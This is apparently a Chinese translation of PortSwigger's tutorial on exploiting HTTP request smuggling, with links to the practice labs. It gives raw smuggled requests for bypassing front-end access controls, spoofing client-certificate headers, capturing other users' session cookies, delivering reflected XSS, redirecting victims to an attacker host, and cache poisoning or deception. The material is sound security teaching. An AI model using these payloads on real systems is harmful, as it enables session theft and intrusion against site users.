利用HTTP请求走私漏洞
翻译
原文:https://portswigger.net/web-security/request-smuggling/exploiting
- name: 翻译
desc: 原文:https://portswigger.net/web-security/request-smuggling/exploiting
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 1利用HTTP请求走私漏洞
在本节中,我们将介绍利用 HTTP 请求走私漏洞的各种方式,具体方式取决于 应用程序的预期功能和其他行为。
# 2使用HTTP请求走私绕过前端安全控制
在某些应用程序中,Web 前端服务器用于实现一些安全控制,决定单个请求是否允许被处理。允许的请求将被转发至后端服务器,在后端服务器中,这些请求被认为已经通过了前端控件。
例如,假设 应用程序使用前端服务器来实现访问控制 (opens new window)限制,仅当用户有权访问所请求的 URL 时才转发请求。然后,后端服务器会接受每个请求,而无需进一步检查。HTTP 请求走私漏洞在这种情况下,可以将请求走私到受限制的 URL 来绕过访问控制 (opens new window)。
假设当前用户被允许访问/home
,但不允许访问/admin
。他们可以使用以下请求走私攻击,来绕过此限制:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
在这里,前端服务器识别到两个请求,都是针对/home
的,因此这些请求将被转发至后端服务器。但是,后端服务器会看到一个对/home
的请求和一个对/admin
的请求。它假定(一如既往)请求已经通过前端控件,因此会授予对受限 URL 的访问权限。
- name: 实验室-从业者
desc: 利用HTTP请求走私绕过前端安全控制-CL.TE漏洞 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
- name: 实验室-从业者
desc: 利用HTTP请求走私绕过前端安全控制-TE.CL漏洞 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 3披露前端请求重写
在许多应用程序中,前端服务器在将请求转发到后端服务器之前,会对请求执行一些重写,通常是添加一些额外的请求标头。例如,前端服务器可能:
- 终止 TLS 连接并添加一些描述用的协议和密码标头;
- 添加包含用户 IP 地址的
X-Forwarded-For
标头; - 根据用户的会话令牌确定用户的 ID,并添加用于标识用户的标头;
- 添加其他一些攻击者感兴趣的敏感信息。
在某些情况下,如果你所走私的请求,缺少这些由前端服务器添加的标头,则后端服务器可能不会以正常方式处理请求,从而导致走私的请求无法达到预期效果。
通常,有一种简单的方法,可以准确地揭示前端服务器是如何重写请求的。为此,你需要执行以下步骤:
- 找到一个 POST 请求,它将请求参数的值反馈到应用程序的响应中。
- 打乱参数,使反馈的参数出现在消息正文的最后。
- 将此请求走私到后端服务器,然后立马发送一个普通请求,期待它显示该请求的重写形式。 将此请求偷运到后端服务器,然后直接发送要显示其重写形式的正常请求。
假设应用程序具有一个反馈email
参数值的登录功能:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
email=wiener@normal-user.net
2
3
4
5
6
这将导致包含以下内容的响应:
<input id="email" value="wiener@normal-user.net" type="text">
在这里,你可以使用以下请求走私攻击,来披露前端服务器所执行的重写:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
前端服务器将重写这些请求,以包含额外的标头,接着后端服务器将处理走私请求,并将重写的第二个请求视为email
参数的值。然后,它会在第二个请求的响应中反馈此值:
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
2
3
4
5
6
7
8
9
笔记
由于最后的请求正在被重写,所以你不知道它将会响应多长时间。走私请求中的Content-Length
标头值会为后端服务器确认请求有多长。
- 如果将该值设置得过短,则你只会收到重写请求的一部分;
- 如果设置得过长,后端服务器将超时等待请求完成。
当然,解决方案是猜测大一点的初始值,然后逐渐增加该值以检索更多的信息,直到你获取了所有感兴趣的信息。
一旦你理解了前端服务器是如何重写请求的,你就可以对走私的请求执行必要的重写,从而确保后端服务器以预期的方式处理它们。
- name: 实验室-从业者
desc: 利用HTTP请求走私来披露前端请求重写 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 4绕过客户端身份验证
作为 TLS 握手的一部分,服务器通过提供证书来向客户端(通常是浏览器)进行身份验证。此证书包含其 “公用名”(CN),该名称应与其注册的主机名相匹配。然后,客户端可以使用该证书,来验证自身是否正在和预期域的合法服务器通信。
一些网站更加先进,实现了一种双向 TLS 身份验证形式,其中的客户端还必须向服务器提供证书。在这种情况下,客户端的 CN 通常是一串用户名或类似的信息,例如,在后端应用程序逻辑中,它可以用作访问控制机制的一部分。
对客户端进行身份验证的组件,通常会使用一个或多个非标准 HTTP 标头,来将证书中的相关详细信息 传递给 应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN 的标头附加到任何传入请求:
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
2
3
这些标头应该对用户完全隐藏,因此后端服务器通常会隐式信任这些标头。假设你能够组合并发送正确的标头和值,这也许能使你绕过访问控制。
在实践中,这种行为通常不可利用,因为前端服务器往往会覆盖这些标头(如果它们已存在)。但是,对于前端来说,走私的请求是完全隐藏的,因此在走私请求中包含的任何标头,都将原封不动地发送到后端。
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
# 5捕获其他用户的请求
如果应用程序包含某种类型的功能,允许你存储和稍后检索文本数据,则可以使用它来捕获其他用户的请求内容。这些内容可能包括用户提交的会话令牌 或 其他敏感数据。用作此攻击的合适功能有评论、电子邮件、个人资料描述、网名等。
要执行攻击,你需要一个走私请求,将数据提交到存储功能,请求中包含的 存储数据参数 应位于请求的最后。例如,假设应用程序通过以下请求来提交博客文章评论,该评论将存储并显示在博客上:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
2
3
4
5
6
7
现在考虑一下,如果你走私一个等效的请求,该请求有一个过长的Content-Length
标头,并且comment
参数位于请求的末尾,这会发生什么。如下所示:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 330
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
走私请求的Content-Length
标头指定正文的长度为 400 个字节,但我们只发送了 144 个字节。在这种情况下,后端服务器将会等待剩余的 256 个字节发送完毕,然后才返回响应,但如果响应速度超过预期时间,则会抛出超时。因此,如果通过同一连接,来将另一个请求发送到后端服务器,那么前 256 个字节将有效地附加到走私请求中,如下所示:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
...
受害者的请求被包含在comment
参数中,因此这将作为评论发布在博客上,你只需访问相关帖子即可阅读这些请求。
如果想要捕获受害请求中的更多内容,你只需要相应地增加走私请求的Content-Length
标头值,但请注意,这将涉及一定次数的尝试和错误。如果遇到超时,这可能意味着你指定的Content-Length
比受害者请求的实际长度更长。遇到这种情况,只需减小该值,直到攻击再次起效。
笔记
这种技术有一个局限性,它只会捕获 参数分隔符 之前的数据。对于 URL 编码的表单提交,这将是&
字符。这意味着,从受害请求中捕获的内容,将会在第一个&
处结束,这种情况甚至可能出现在查询字符串中。
- name: 实验室-从业者
desc: 利用HTTP请求走私来捕获其他用户的请求 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 6通过HTTP请求走私来利用反射型XSS
如果应用程序容易受到 HTTP 请求走私的攻击,同时该应用程序还包含反射型 XSS,则可以使用请求走私来攻击应用程序的其他用户。这种技术在两个方面优于反射型 XSS 的正常利用:
- 它不需要与受害用户进行交互。你无需向他们提供 URL 并等待他们访问它。你只需走私一个包含 XSS 有效负载的请求,下一个用户的请求被后端服务器处理时就会命中。
- 普通的反射型 XSS 中存在一些无法简单运用的请求部分,而它可以利用这部分 XSS 行为,例如 HTTP 请求标头。
例如,假设应用程序在User-Agent
标头中存在一个反射型 XSS 漏洞。你可以在请求走私攻击中利用此漏洞,如下所示:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
下一个用户的请求 会被附加到走私的请求中,他们将在响应中收到反射型 XSS 的载荷。
- name: 实验室-从业者
desc: 利用HTTP请求走私传递反射型XSS >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 7使用HTTP请求走私将站内重定向转换为开放重定向
许多应用程序都会执行从一个 URL 到另一个 URL 的站内重定向,并将Host
标头中的主机名放入重定向 URL 中。例如,Apache 和 IIS Web 服务器有一个默认行为,任何对 无尾部斜杠的文件夹 的请求,都会被重定向到包含尾部斜杠的同一文件夹:
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
2
3
4
5
这种行为通常被认为是无害的,但在请求走私攻击中可以利用它,将其他用户重定向到外部域。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私的请求会触发 转到攻击者网站 的重定向,这将影响后端服务器处理的下一个用户请求。例如:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
在这里,用户的原请求指向一个 JavaScript 文件,该文件是由网站上的某个页面导入的。攻击者可以在响应中返回自己的 JavaScript 来完全攻击受害用户。
# 7.1根目录相对重定向转换为开放重定向
在某些情况下,你可能会遇到服务器级别的重定向,这些重定向使用Location
标头构造相对于根的 URL 路径,例如:
GET /example HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved Permanently
Location: /example/
2
3
4
5
如果服务器允许你在路径中使用相对于协议的 URL,那么这可用于实现开放重定向:
GET //attacker-website.com/example HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: //attacker-website.com/example/
2
3
4
5
# 8通过HTTP请求走私执行Web缓存投毒
在上述攻击的一种变体中,可以利用 HTTP 请求走私来执行 Web 缓存投毒 (opens new window)攻击。如果前端基础结构的任何部分执行了内容缓存(通常是出于性能原因),则可以使用站外重定向来毒害缓存响应。这会导致攻击持续存在,随后访问受影响 URL 的任何用户都将受到攻击。
在此变体中,攻击者向前端服务器发送以下内容:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
走私的请求到达后端服务器时,后端服务器像之前一样,使用站外重定向进行响应。前端服务器认为第二个请求中的 URL 是/static/include.js
,于是缓存了该响应:
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
2
3
4
5
从这时开始,当其他用户请求此 URL 时,他们会收到指向攻击者网站的重定向。
- name: 实验室-专家
desc: 利用HTTP请求走私执行Web缓存投毒 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 9通过HTTP请求走私执行Web缓存欺骗
在此攻击的另一种变体中,你可以利用 HTTP 请求走私来执行 Web 缓存欺骗。这与 Web 缓存投毒攻击类似,但目的不同。
# 9.1Web缓存投毒和Web缓存欺骗有什么区别?
- 在 Web 缓存投毒中,攻击者诱使应用程序 在缓存中存储一些恶意内容,并将这些缓存内容提供给其他应用程序用户。
- 在 Web 缓存欺骗中,攻击者诱使应用程序 在缓存中存储一些属于其他用户的敏感内容,然后攻击者从缓存中检索这些内容。
在这种变体中,攻击者将走私一个请求,该请求会返回特定用户的一些敏感内容。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
来自其他用户的下一个请求,在转发到后端服务器时,将会被附加到走私的请求中,包括其中的会话 Cookie 和其他标头。例如:
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
后端服务器以正常方式响应此请求。请求中的 URL 用于显示当前用户的私人消息,该请求会在受害用户的会话上下文中处理。前端服务器认为第二个请求中的 URL 是/static/some-image.png
,于是缓存了该响应:
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
2
3
4
5
6
7
然后,攻击者访问静态 URL 并接收从该缓存返回的敏感内容。
这里需要注意的一点是,攻击者不知道哪一个 URL 会缓存敏感内容,因为当走私请求生效时,受害用户可能会请求任何 URL。攻击者需要访问大量静态 URL 才能发现捕获的内容。
- name: 实验室-专家
desc: 利用HTTP请求走私执行Web缓存欺骗 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-deception
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6